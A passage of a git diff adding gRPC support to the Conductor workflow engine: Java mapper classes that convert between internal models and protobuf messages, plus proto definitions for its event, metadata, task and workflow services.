to.setStartDelay( from.getStartDelay() ); + if (from.getSubWorkflowParam() != null) { + to.setSubWorkflowParam( toProto( from.getSubWorkflowParam() ) ); + } + to.addAllJoinOn( from.getJoinOn() ); + if (from.getSink() != null) { + to.setSink( from.getSink() ); + } + to.setOptional( from.isOptional() ); + if (from.getTaskDefinition() != null) { + to.setTaskDefinition( toProto( from.getTaskDefinition() ) ); + } + if (from.isRateLimited() != null) { + to.setRateLimited( from.isRateLimited() ); + } + to.addAllDefaultExclusiveJoinTask( from.getDefaultExclusiveJoinTask() ); + if (from.isAsyncComplete() != null) { + to.setAsyncComplete( from.isAsyncComplete() ); + } + if (from.getLoopCondition() != null) { + to.setLoopCondition( from.getLoopCondition() ); + } + for (WorkflowTask elem : from.getLoopOver()) { + to.addLoopOver( toProto(elem) ); + } + if (from.getItems() != null) { + to.setItems( from.getItems() ); + } + if (from.getRetryCount() != null) { + to.setRetryCount( from.getRetryCount() ); + } + if (from.getEvaluatorType() != null) { + to.setEvaluatorType( from.getEvaluatorType() ); + } + if (from.getExpression() != null) { + to.setExpression( from.getExpression() ); + } + if (from.getJoinStatus() != null) { + to.setJoinStatus( from.getJoinStatus() ); + } + if (from.getCacheConfig() != null) { + to.setCacheConfig( toProto( from.getCacheConfig() ) ); + } + to.setPermissive( from.isPermissive() ); + if (from.getJoinMode() != null) { + to.setJoinMode( toProto( from.getJoinMode() ) ); + } + return to.build(); + } + + public WorkflowTask fromProto(WorkflowTaskPb.WorkflowTask from) { + WorkflowTask to = new WorkflowTask(); + to.setName( from.getName() ); + to.setTaskReferenceName( from.getTaskReferenceName() ); + to.setDescription( from.getDescription() ); + Map inputParametersMap = new HashMap(); + for (Map.Entry pair : from.getInputParametersMap().entrySet()) { + inputParametersMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setInputParameters(inputParametersMap); + to.setType( from.getType() ); + to.setDynamicTaskNameParam( from.getDynamicTaskNameParam() ); + to.setCaseValueParam( from.getCaseValueParam() ); + to.setCaseExpression( from.getCaseExpression() ); + to.setScriptExpression( from.getScriptExpression() ); + Map> decisionCasesMap = new HashMap>(); + for (Map.Entry pair : from.getDecisionCasesMap().entrySet()) { + decisionCasesMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setDecisionCases(decisionCasesMap); + to.setDynamicForkTasksParam( from.getDynamicForkTasksParam() ); + to.setDynamicForkTasksInputParamName( from.getDynamicForkTasksInputParamName() ); + to.setDefaultCase( from.getDefaultCaseList().stream().map(this::fromProto).collect(Collectors.toCollection(ArrayList::new)) ); + to.setForkTasks( from.getForkTasksList().stream().map(this::fromProto).collect(Collectors.toCollection(ArrayList::new)) ); + to.setStartDelay( from.getStartDelay() ); + if (from.hasSubWorkflowParam()) { + to.setSubWorkflowParam( fromProto( from.getSubWorkflowParam() ) ); + } + to.setJoinOn( from.getJoinOnList().stream().collect(Collectors.toCollection(ArrayList::new)) ); + to.setSink( from.getSink() ); + to.setOptional( from.getOptional() ); + if (from.hasTaskDefinition()) { + to.setTaskDefinition( fromProto( from.getTaskDefinition() ) ); + } + to.setRateLimited( from.getRateLimited() ); + to.setDefaultExclusiveJoinTask( from.getDefaultExclusiveJoinTaskList().stream().collect(Collectors.toCollection(ArrayList::new)) ); + to.setAsyncComplete( from.getAsyncComplete() ); + to.setLoopCondition( from.getLoopCondition() ); + to.setLoopOver( from.getLoopOverList().stream().map(this::fromProto).collect(Collectors.toCollection(ArrayList::new)) ); + to.setItems( from.getItems() ); + to.setRetryCount( from.getRetryCount() ); + to.setEvaluatorType( from.getEvaluatorType() ); + to.setExpression( from.getExpression() ); + to.setJoinStatus( from.getJoinStatus() ); + if (from.hasCacheConfig()) { + to.setCacheConfig( fromProto( from.getCacheConfig() ) ); + } + to.setPermissive( from.getPermissive() ); + to.setJoinMode( fromProto( from.getJoinMode() ) ); + return to; + } + + public WorkflowTaskPb.WorkflowTask.JoinMode toProto(WorkflowTask.JoinMode from) { + WorkflowTaskPb.WorkflowTask.JoinMode to; + switch (from) { + case SYNC: to = WorkflowTaskPb.WorkflowTask.JoinMode.SYNC; break; + case ASYNC: to = WorkflowTaskPb.WorkflowTask.JoinMode.ASYNC; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public WorkflowTask.JoinMode fromProto(WorkflowTaskPb.WorkflowTask.JoinMode from) { + WorkflowTask.JoinMode to; + switch (from) { + case SYNC: to = WorkflowTask.JoinMode.SYNC; break; + case ASYNC: to = WorkflowTask.JoinMode.ASYNC; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public abstract WorkflowTaskPb.WorkflowTask.WorkflowTaskList toProto(List in); + + public abstract List fromProto(WorkflowTaskPb.WorkflowTask.WorkflowTaskList in); + + public abstract Value toProto(Object in); + + public abstract Object fromProto(Value in); + + public abstract Any toProto(Any in); + + public abstract Any fromProto(Any in); +} diff --git a/grpc/src/main/java/com/netflix/conductor/grpc/ProtoMapper.java b/grpc/src/main/java/com/netflix/conductor/grpc/ProtoMapper.java new file mode 100644 index 0000000..371bfcb --- /dev/null +++ b/grpc/src/main/java/com/netflix/conductor/grpc/ProtoMapper.java @@ -0,0 +1,182 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc; + +import com.google.protobuf.Any; +import com.google.protobuf.ListValue; +import com.google.protobuf.NullValue; +import com.google.protobuf.Struct; +import com.google.protobuf.Value; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.proto.WorkflowTaskPb; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * ProtoMapper implements conversion code between the internal models + * used by Conductor (POJOs) and their corresponding equivalents in + * the exposed Protocol Buffers interface. + * + * The vast majority of the mapping logic is implemented in the autogenerated + * {@link AbstractProtoMapper} class. This class only implements the custom + * logic for objects that need to be special cased in the API. + */ +public final class ProtoMapper extends AbstractProtoMapper { + public static final ProtoMapper INSTANCE = new ProtoMapper(); + private static final int NO_RETRY_VALUE = -1; + + private ProtoMapper() {} + + /** + * Convert an {@link Object} instance into its equivalent {@link Value} + * ProtoBuf object. + * + * The {@link Value} ProtoBuf message is a variant type that can define any + * value representable as a native JSON type. Consequently, this method expects + * the given {@link Object} instance to be a Java object instance of JSON-native + * value, namely: null, {@link Boolean}, {@link Double}, {@link String}, + * {@link Map}, {@link List}. + * + * Any other values will cause an exception to be thrown. + * See {@link ProtoMapper#fromProto(Value)} for the reverse mapping. + * + * @param val a Java object that can be represented natively in JSON + * @return an instance of a {@link Value} ProtoBuf message + */ + @Override + public Value toProto(Object val) { + Value.Builder builder = Value.newBuilder(); + + if (val == null) { + builder.setNullValue(NullValue.NULL_VALUE); + } else if (val instanceof Boolean) { + builder.setBoolValue((Boolean) val); + } else if (val instanceof Double) { + builder.setNumberValue((Double) val); + } else if (val instanceof String) { + builder.setStringValue((String) val); + } else if (val instanceof Map) { + Map map = (Map) val; + Struct.Builder struct = Struct.newBuilder(); + for (Map.Entry pair : map.entrySet()) { + struct.putFields(pair.getKey(), toProto(pair.getValue())); + } + builder.setStructValue(struct.build()); + } else if (val instanceof List) { + ListValue.Builder list = ListValue.newBuilder(); + for (Object obj : (List)val) { + list.addValues(toProto(obj)); + } + builder.setListValue(list.build()); + } else { + throw new ClassCastException("cannot map to Value type: "+val); + } + return builder.build(); + } + + /** + * Convert a ProtoBuf {@link Value} message into its native Java object + * equivalent. + * + * See {@link ProtoMapper#toProto(Object)} for the reverse mapping and the + * possible values that can be returned from this method. + * + * @param any an instance of a ProtoBuf {@link Value} message + * @return a native Java object representing the value + */ + @Override + public Object fromProto(Value any) { + switch (any.getKindCase()) { + case NULL_VALUE: + return null; + case BOOL_VALUE: + return any.getBoolValue(); + case NUMBER_VALUE: + return any.getNumberValue(); + case STRING_VALUE: + return any.getStringValue(); + case STRUCT_VALUE: + Struct struct = any.getStructValue(); + Map map = new HashMap<>(); + for (Map.Entry pair : struct.getFieldsMap().entrySet()) { + map.put(pair.getKey(), fromProto(pair.getValue())); + } + return map; + case LIST_VALUE: + List list = new ArrayList<>(); + for (Value val : any.getListValue().getValuesList()) { + list.add(fromProto(val)); + } + return list; + default: + throw new ClassCastException("unset Value element: "+any); + } + } + + /** + * Convert a WorkflowTaskList message wrapper into a {@link List} instance + * with its contents. + * + * @param list an instance of a ProtoBuf message + * @return a list with the contents of the message + */ + @Override + public List fromProto(WorkflowTaskPb.WorkflowTask.WorkflowTaskList list) { + return list.getTasksList().stream().map(this::fromProto).collect(Collectors.toList()); + } + + @Override public WorkflowTaskPb.WorkflowTask toProto(final WorkflowTask from) { + final WorkflowTaskPb.WorkflowTask.Builder to = WorkflowTaskPb.WorkflowTask.newBuilder(super.toProto(from)); + if (from.getRetryCount() == null) { + to.setRetryCount(NO_RETRY_VALUE); + } + return to.build(); + } + + @Override public WorkflowTask fromProto(final WorkflowTaskPb.WorkflowTask from) { + final WorkflowTask workflowTask = super.fromProto(from); + if (from.getRetryCount() == NO_RETRY_VALUE) { + workflowTask.setRetryCount(null); + } + return workflowTask; + } + + + + /** + * Convert a list of {@link WorkflowTask} instances into a ProtoBuf wrapper object. + * + * @param list a list of {@link WorkflowTask} instances + * @return a ProtoBuf message wrapping the contents of the list + */ + @Override + public WorkflowTaskPb.WorkflowTask.WorkflowTaskList toProto(List list) { + return WorkflowTaskPb.WorkflowTask.WorkflowTaskList.newBuilder() + .addAllTasks(list.stream().map(this::toProto)::iterator) + .build(); + } + + @Override + public Any toProto(Any in) { + return in; + } + + @Override + public Any fromProto(Any in) { + return in; + } +} diff --git a/grpc/src/main/proto/grpc/event_service.proto b/grpc/src/main/proto/grpc/event_service.proto new file mode 100644 index 0000000..e7a61e9 --- /dev/null +++ b/grpc/src/main/proto/grpc/event_service.proto @@ -0,0 +1,50 @@ +syntax = "proto3"; +package conductor.grpc.events; + +import "model/eventhandler.proto"; + +option java_package = "com.netflix.conductor.grpc"; +option java_outer_classname = "EventServicePb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/grpc/events"; + +service EventService { + // POST / + rpc AddEventHandler(AddEventHandlerRequest) returns (AddEventHandlerResponse); + + // PUT / + rpc UpdateEventHandler(UpdateEventHandlerRequest) returns (UpdateEventHandlerResponse); + + // DELETE /{name} + rpc RemoveEventHandler(RemoveEventHandlerRequest) returns (RemoveEventHandlerResponse); + + // GET / + rpc GetEventHandlers(GetEventHandlersRequest) returns (stream conductor.proto.EventHandler); + + // GET /{name} + rpc GetEventHandlersForEvent(GetEventHandlersForEventRequest) returns (stream conductor.proto.EventHandler); +} + +message AddEventHandlerRequest { + conductor.proto.EventHandler handler = 1; +} + +message AddEventHandlerResponse {} + +message UpdateEventHandlerRequest { + conductor.proto.EventHandler handler = 1; +} + +message UpdateEventHandlerResponse {} + +message RemoveEventHandlerRequest { + string name = 1; +} + +message RemoveEventHandlerResponse {} + +message GetEventHandlersRequest {} + +message GetEventHandlersForEventRequest { + string event = 1; + bool active_only = 2; +} diff --git a/grpc/src/main/proto/grpc/metadata_service.proto b/grpc/src/main/proto/grpc/metadata_service.proto new file mode 100644 index 0000000..0ba4f7a --- /dev/null +++ b/grpc/src/main/proto/grpc/metadata_service.proto @@ -0,0 +1,89 @@ +syntax = "proto3"; +package conductor.grpc.metadata; + +import "model/taskdef.proto"; +import "model/workflowdef.proto"; + +option java_package = "com.netflix.conductor.grpc"; +option java_outer_classname = "MetadataServicePb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/grpc/metadata"; + +service MetadataService { + // POST /workflow + rpc CreateWorkflow(CreateWorkflowRequest) returns (CreateWorkflowResponse); + + // POST /workflow/validate + rpc ValidateWorkflow(ValidateWorkflowRequest) returns (ValidateWorkflowResponse); + + // PUT /workflow + rpc UpdateWorkflows(UpdateWorkflowsRequest) returns (UpdateWorkflowsResponse); + + // GET /workflow/{name} + rpc GetWorkflow(GetWorkflowRequest) returns (GetWorkflowResponse); + + // POST /taskdefs + rpc CreateTasks(CreateTasksRequest) returns (CreateTasksResponse); + + // PUT /taskdefs + rpc UpdateTask(UpdateTaskRequest) returns (UpdateTaskResponse); + + // GET /taskdefs/{tasktype} + rpc GetTask(GetTaskRequest) returns (GetTaskResponse); + + // DELETE /taskdefs/{tasktype} + rpc DeleteTask(DeleteTaskRequest) returns (DeleteTaskResponse); +} + +message CreateWorkflowRequest { + conductor.proto.WorkflowDef workflow = 1; +} + +message CreateWorkflowResponse {} + +message ValidateWorkflowRequest { + conductor.proto.WorkflowDef workflow = 1; +} + +message ValidateWorkflowResponse {} + +message UpdateWorkflowsRequest { + repeated conductor.proto.WorkflowDef defs = 1; +} + +message UpdateWorkflowsResponse {} + +message GetWorkflowRequest { + string name = 1; + int32 version = 2; +} + +message GetWorkflowResponse { + conductor.proto.WorkflowDef workflow = 1; +} + +message CreateTasksRequest { + repeated conductor.proto.TaskDef defs = 1; +} + +message CreateTasksResponse {} + +message UpdateTaskRequest { + conductor.proto.TaskDef task = 1; +} + +message UpdateTaskResponse {} + + +message GetTaskRequest { + string task_type = 1; +} + +message GetTaskResponse { + conductor.proto.TaskDef task = 1; +} + +message DeleteTaskRequest { + string task_type = 1; +} + +message DeleteTaskResponse {} diff --git a/grpc/src/main/proto/grpc/search.proto b/grpc/src/main/proto/grpc/search.proto new file mode 100644 index 0000000..e9ad0f0 --- /dev/null +++ b/grpc/src/main/proto/grpc/search.proto @@ -0,0 +1,15 @@ +syntax = "proto3"; +package conductor.grpc.search; + +option java_package = "com.netflix.conductor.grpc"; +option java_outer_classname = "SearchPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/grpc/search"; + +message Request { + int32 start = 1; + int32 size = 2; + string sort = 3; + string free_text = 4; + string query = 5; +} + diff --git a/grpc/src/main/proto/grpc/task_service.proto b/grpc/src/main/proto/grpc/task_service.proto new file mode 100644 index 0000000..b14dcc6 --- /dev/null +++ b/grpc/src/main/proto/grpc/task_service.proto @@ -0,0 +1,133 @@ +syntax = "proto3"; +package conductor.grpc.tasks; + +import "model/taskexeclog.proto"; +import "model/taskresult.proto"; +import "model/tasksummary.proto"; +import "model/task.proto"; +import "grpc/search.proto"; + +option java_package = "com.netflix.conductor.grpc"; +option java_outer_classname = "TaskServicePb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/grpc/tasks"; + +service TaskService { + // GET /poll/{tasktype} + rpc Poll(PollRequest) returns (PollResponse); + + // /poll/batch/{tasktype} + rpc BatchPoll(BatchPollRequest) returns (stream conductor.proto.Task); + + // POST / + rpc UpdateTask(UpdateTaskRequest) returns (UpdateTaskResponse); + + // POST /{taskId}/log + rpc AddLog(AddLogRequest) returns (AddLogResponse); + + // GET {taskId}/log + rpc GetTaskLogs(GetTaskLogsRequest) returns (GetTaskLogsResponse); + + // GET /{taskId} + rpc GetTask(GetTaskRequest) returns (GetTaskResponse); + + // GET /queue/sizes + rpc GetQueueSizesForTasks(QueueSizesRequest) returns (QueueSizesResponse); + + // GET /queue/all + rpc GetQueueInfo(QueueInfoRequest) returns (QueueInfoResponse); + + // GET /queue/all/verbose + rpc GetQueueAllInfo(QueueAllInfoRequest) returns (QueueAllInfoResponse); + + // GET /search + rpc Search(conductor.grpc.search.Request) returns (TaskSummarySearchResult); + + // GET /searchV2 + rpc SearchV2(conductor.grpc.search.Request) returns (TaskSearchResult); +} + +message PollRequest { + string task_type = 1; + string worker_id = 2; + string domain = 3; +} + +message PollResponse { + conductor.proto.Task task = 1; +} + +message BatchPollRequest { + string task_type = 1; + string worker_id = 2; + string domain = 3; + int32 count = 4; + int32 timeout = 5; +} + +message UpdateTaskRequest { + conductor.proto.TaskResult result = 1; +} + +message UpdateTaskResponse { + string task_id = 1; +} + +message AddLogRequest { + string task_id = 1; + string log = 2; +} + +message AddLogResponse {} + +message GetTaskLogsRequest { + string task_id = 1; +} + +message GetTaskLogsResponse { + repeated conductor.proto.TaskExecLog logs = 1; +} + +message GetTaskRequest { + string task_id = 1; +} + +message GetTaskResponse { + conductor.proto.Task task = 1; +} + +message QueueSizesRequest { + repeated string task_types = 1; +} + +message QueueSizesResponse { + map queue_for_task = 1; +} + +message QueueInfoRequest {} + +message QueueInfoResponse { + map queues = 1; +} + +message QueueAllInfoRequest {} + +message QueueAllInfoResponse { + message ShardInfo { + int64 size = 1; + int64 uacked = 2; + } + message QueueInfo { + map shards = 1; + } + map queues = 1; +} + +message TaskSummarySearchResult { + int64 total_hits = 1; + repeated conductor.proto.TaskSummary results = 2; +} + +message TaskSearchResult { + int64 total_hits = 1; + repeated conductor.proto.Task results = 2; +} diff --git a/grpc/src/main/proto/grpc/workflow_service.proto b/grpc/src/main/proto/grpc/workflow_service.proto new file mode 100644 index 0000000..6bdd9db --- /dev/null +++ b/grpc/src/main/proto/grpc/workflow_service.proto @@ -0,0 +1,177 @@ +syntax = "proto3"; +package conductor.grpc.workflows; + +import "grpc/search.proto"; +import "model/workflow.proto"; +import "model/workflowsummary.proto"; +import "model/skiptaskrequest.proto"; +import "model/startworkflowrequest.proto"; +import "model/rerunworkflowrequest.proto"; + +option java_package = "com.netflix.conductor.grpc"; +option java_outer_classname = "WorkflowServicePb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/grpc/workflows"; + +service WorkflowService { + // POST / + rpc StartWorkflow(conductor.proto.StartWorkflowRequest) returns (StartWorkflowResponse); + + // GET /{name}/correlated/{correlationId} + rpc GetWorkflows(GetWorkflowsRequest) returns (GetWorkflowsResponse); + + // GET /{workflowId} + rpc GetWorkflowStatus(GetWorkflowStatusRequest) returns (conductor.proto.Workflow); + + // DELETE /{workflodId}/remove + rpc RemoveWorkflow(RemoveWorkflowRequest) returns (RemoveWorkflowResponse); + + // GET /running/{name} + rpc GetRunningWorkflows(GetRunningWorkflowsRequest) returns (GetRunningWorkflowsResponse); + + // PUT /decide/{workflowId} + rpc DecideWorkflow(DecideWorkflowRequest) returns (DecideWorkflowResponse); + + // PUT /{workflowId}/pause + rpc PauseWorkflow(PauseWorkflowRequest) returns (PauseWorkflowResponse); + + // PUT /{workflowId}/pause + rpc ResumeWorkflow(ResumeWorkflowRequest) returns (ResumeWorkflowResponse); + + // PUT /{workflowId}/skiptask/{taskReferenceName} + rpc SkipTaskFromWorkflow(SkipTaskRequest) returns (SkipTaskResponse); + + // POST /{workflowId}/rerun + rpc RerunWorkflow(conductor.proto.RerunWorkflowRequest) returns (RerunWorkflowResponse); + + // POST /{workflowId}/restart + rpc RestartWorkflow(RestartWorkflowRequest) returns (RestartWorkflowResponse); + + // POST /{workflowId}retry + rpc RetryWorkflow(RetryWorkflowRequest) returns (RetryWorkflowResponse); + + // POST /{workflowId}/resetcallbacks + rpc ResetWorkflowCallbacks(ResetWorkflowCallbacksRequest) returns (ResetWorkflowCallbacksResponse); + + // DELETE /{workflowId} + rpc TerminateWorkflow(TerminateWorkflowRequest) returns (TerminateWorkflowResponse); + + // GET /search + rpc Search(conductor.grpc.search.Request) returns (WorkflowSummarySearchResult); + rpc SearchByTasks(conductor.grpc.search.Request) returns (WorkflowSummarySearchResult); + + // GET /searchV2 + rpc SearchV2(conductor.grpc.search.Request) returns (WorkflowSearchResult); + rpc SearchByTasksV2(conductor.grpc.search.Request) returns (WorkflowSearchResult); +} + +message StartWorkflowResponse { + string workflow_id = 1; +} + +message GetWorkflowsRequest { + string name = 1; + repeated string correlation_id = 2; + bool include_closed = 3; + bool include_tasks = 4; +} + +message GetWorkflowsResponse { + message Workflows { + repeated conductor.proto.Workflow workflows = 1; + } + map workflows_by_id = 1; +} + +message GetWorkflowStatusRequest { + string workflow_id = 1; + bool include_tasks = 2; +} + +message GetWorkflowStatusResponse { + conductor.proto.Workflow workflow = 1; +} + +message RemoveWorkflowRequest { + string workflod_id = 1; + bool archive_workflow = 2; +} + +message RemoveWorkflowResponse {} + +message GetRunningWorkflowsRequest { + string name = 1; + int32 version = 2; + int64 start_time = 3; + int64 end_time = 4; +} + +message GetRunningWorkflowsResponse { + repeated string workflow_ids = 1; +} + +message DecideWorkflowRequest { + string workflow_id = 1; +} + +message DecideWorkflowResponse {} + +message PauseWorkflowRequest { + string workflow_id = 1; +} + +message PauseWorkflowResponse {} + +message ResumeWorkflowRequest { + string workflow_id = 1; +} + +message ResumeWorkflowResponse {} + +message SkipTaskRequest { + string workflow_id = 1; + string task_reference_name = 2; + conductor.proto.SkipTaskRequest request = 3; +} + +message SkipTaskResponse {} + +message RerunWorkflowResponse { + string workflow_id = 1; +} + +message RestartWorkflowRequest { + string workflow_id = 1; + bool use_latest_definitions = 2; +} + +message RestartWorkflowResponse {} + +message RetryWorkflowRequest { + string workflow_id = 1; + bool resume_subworkflow_tasks = 2; +} + +message RetryWorkflowResponse {} + +message ResetWorkflowCallbacksRequest { + string workflow_id = 1; +} + +message ResetWorkflowCallbacksResponse {} + +message TerminateWorkflowRequest { + string workflow_id = 1; + string reason = 2; +} + +message TerminateWorkflowResponse {} + +message WorkflowSummarySearchResult { + int64 total_hits = 1; + repeated conductor.proto.WorkflowSummary results = 2; +} + +message WorkflowSearchResult { + int64 total_hits = 1; + repeated conductor.proto.Workflow results = 2; +} diff --git a/grpc/src/main/proto/model/cacheconfig.proto b/grpc/src/main/proto/model/cacheconfig.proto new file mode 100644 index 0000000..afb7461 --- /dev/null +++ b/grpc/src/main/proto/model/cacheconfig.proto @@ -0,0 +1,12 @@ +syntax = "proto3"; +package conductor.proto; + + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "CacheConfigPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message CacheConfig { + string key = 1; + int32 ttl_in_second = 2; +} diff --git a/grpc/src/main/proto/model/dynamicforkjointask.proto b/grpc/src/main/proto/model/dynamicforkjointask.proto new file mode 100644 index 0000000..12e66bb --- /dev/null +++ b/grpc/src/main/proto/model/dynamicforkjointask.proto @@ -0,0 +1,16 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "DynamicForkJoinTaskPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message DynamicForkJoinTask { + string task_name = 1; + string workflow_name = 2; + string reference_name = 3; + map input = 4; + string type = 5; +} diff --git a/grpc/src/main/proto/model/dynamicforkjointasklist.proto b/grpc/src/main/proto/model/dynamicforkjointasklist.proto new file mode 100644 index 0000000..3ac3f44 --- /dev/null +++ b/grpc/src/main/proto/model/dynamicforkjointasklist.proto @@ -0,0 +1,12 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/dynamicforkjointask.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "DynamicForkJoinTaskListPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message DynamicForkJoinTaskList { + repeated DynamicForkJoinTask dynamic_tasks = 1; +} diff --git a/grpc/src/main/proto/model/eventexecution.proto b/grpc/src/main/proto/model/eventexecution.proto new file mode 100644 index 0000000..e4aee81 --- /dev/null +++ b/grpc/src/main/proto/model/eventexecution.proto @@ -0,0 +1,26 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/eventhandler.proto"; +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "EventExecutionPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message EventExecution { + enum Status { + IN_PROGRESS = 0; + COMPLETED = 1; + FAILED = 2; + SKIPPED = 3; + } + string id = 1; + string message_id = 2; + string name = 3; + string event = 4; + int64 created = 5; + EventExecution.Status status = 6; + EventHandler.Action.Type action = 7; + map output = 8; +} diff --git a/grpc/src/main/proto/model/eventhandler.proto b/grpc/src/main/proto/model/eventhandler.proto new file mode 100644 index 0000000..087aa4e --- /dev/null +++ b/grpc/src/main/proto/model/eventhandler.proto @@ -0,0 +1,59 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; +import "google/protobuf/any.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "EventHandlerPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message EventHandler { + message UpdateWorkflowVariables { + string workflow_id = 1; + map variables = 2; + bool append_array = 3; + } + message TerminateWorkflow { + string workflow_id = 1; + string termination_reason = 2; + } + message StartWorkflow { + string name = 1; + int32 version = 2; + string correlation_id = 3; + map input = 4; + google.protobuf.Any input_message = 5; + map task_to_domain = 6; + } + message TaskDetails { + string workflow_id = 1; + string task_ref_name = 2; + map output = 3; + google.protobuf.Any output_message = 4; + string task_id = 5; + string reason_for_incompletion = 6; + } + message Action { + enum Type { + START_WORKFLOW = 0; + COMPLETE_TASK = 1; + FAIL_TASK = 2; + TERMINATE_WORKFLOW = 3; + UPDATE_WORKFLOW_VARIABLES = 4; + } + EventHandler.Action.Type action = 1; + EventHandler.StartWorkflow start_workflow = 2; + EventHandler.TaskDetails complete_task = 3; + EventHandler.TaskDetails fail_task = 4; + bool expand_inline_json = 5; + EventHandler.TerminateWorkflow terminate_workflow = 6; + EventHandler.UpdateWorkflowVariables update_workflow_variables = 7; + } + string name = 1; + string event = 2; + string condition = 3; + repeated EventHandler.Action actions = 4; + bool active = 5; + string evaluator_type = 6; +} diff --git a/grpc/src/main/proto/model/executionmetadata.proto b/grpc/src/main/proto/model/executionmetadata.proto new file mode 100644 index 0000000..4550b6e --- /dev/null +++ b/grpc/src/main/proto/model/executionmetadata.proto @@ -0,0 +1,19 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "ExecutionMetadataPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message ExecutionMetadata { + int64 server_send_time = 1; + int64 client_receive_time = 2; + int64 execution_start_time = 3; + int64 execution_end_time = 4; + int64 client_send_time = 5; + int64 poll_network_latency = 6; + int64 update_network_latency = 7; + map additional_context = 8; +} diff --git a/grpc/src/main/proto/model/polldata.proto b/grpc/src/main/proto/model/polldata.proto new file mode 100644 index 0000000..5916943 --- /dev/null +++ b/grpc/src/main/proto/model/polldata.proto @@ -0,0 +1,14 @@ +syntax = "proto3"; +package conductor.proto; + + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "PollDataPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message PollData { + string queue_name = 1; + string domain = 2; + string worker_id = 3; + int64 last_poll_time = 4; +} diff --git a/grpc/src/main/proto/model/ratelimitconfig.proto b/grpc/src/main/proto/model/ratelimitconfig.proto new file mode 100644 index 0000000..1619aa7 --- /dev/null +++ b/grpc/src/main/proto/model/ratelimitconfig.proto @@ -0,0 +1,17 @@ +syntax = "proto3"; +package conductor.proto; + + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "RateLimitConfigPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message RateLimitConfig { + enum RateLimitPolicy { + QUEUE = 0; + REJECT = 1; + } + string rate_limit_key = 1; + int32 concurrent_exec_limit = 2; + RateLimitConfig.RateLimitPolicy policy = 3; +} diff --git a/grpc/src/main/proto/model/rerunworkflowrequest.proto b/grpc/src/main/proto/model/rerunworkflowrequest.proto new file mode 100644 index 0000000..280e8cf --- /dev/null +++ b/grpc/src/main/proto/model/rerunworkflowrequest.proto @@ -0,0 +1,16 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "RerunWorkflowRequestPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message RerunWorkflowRequest { + string re_run_from_workflow_id = 1; + map workflow_input = 2; + string re_run_from_task_id = 3; + map task_input = 4; + string correlation_id = 5; +} diff --git a/grpc/src/main/proto/model/schemadef.proto b/grpc/src/main/proto/model/schemadef.proto new file mode 100644 index 0000000..58583bd --- /dev/null +++ b/grpc/src/main/proto/model/schemadef.proto @@ -0,0 +1,18 @@ +syntax = "proto3"; +package conductor.proto; + + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "SchemaDefPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message SchemaDef { + enum Type { + JSON = 0; + AVRO = 1; + PROTOBUF = 2; + } + string name = 1; + int32 version = 2; + SchemaDef.Type type = 3; +} diff --git a/grpc/src/main/proto/model/skiptaskrequest.proto b/grpc/src/main/proto/model/skiptaskrequest.proto new file mode 100644 index 0000000..323e516 --- /dev/null +++ b/grpc/src/main/proto/model/skiptaskrequest.proto @@ -0,0 +1,16 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; +import "google/protobuf/any.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "SkipTaskRequestPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message SkipTaskRequest { + map task_input = 1; + map task_output = 2; + google.protobuf.Any task_input_message = 3; + google.protobuf.Any task_output_message = 4; +} diff --git a/grpc/src/main/proto/model/startworkflowrequest.proto b/grpc/src/main/proto/model/startworkflowrequest.proto new file mode 100644 index 0000000..73d8d3c --- /dev/null +++ b/grpc/src/main/proto/model/startworkflowrequest.proto @@ -0,0 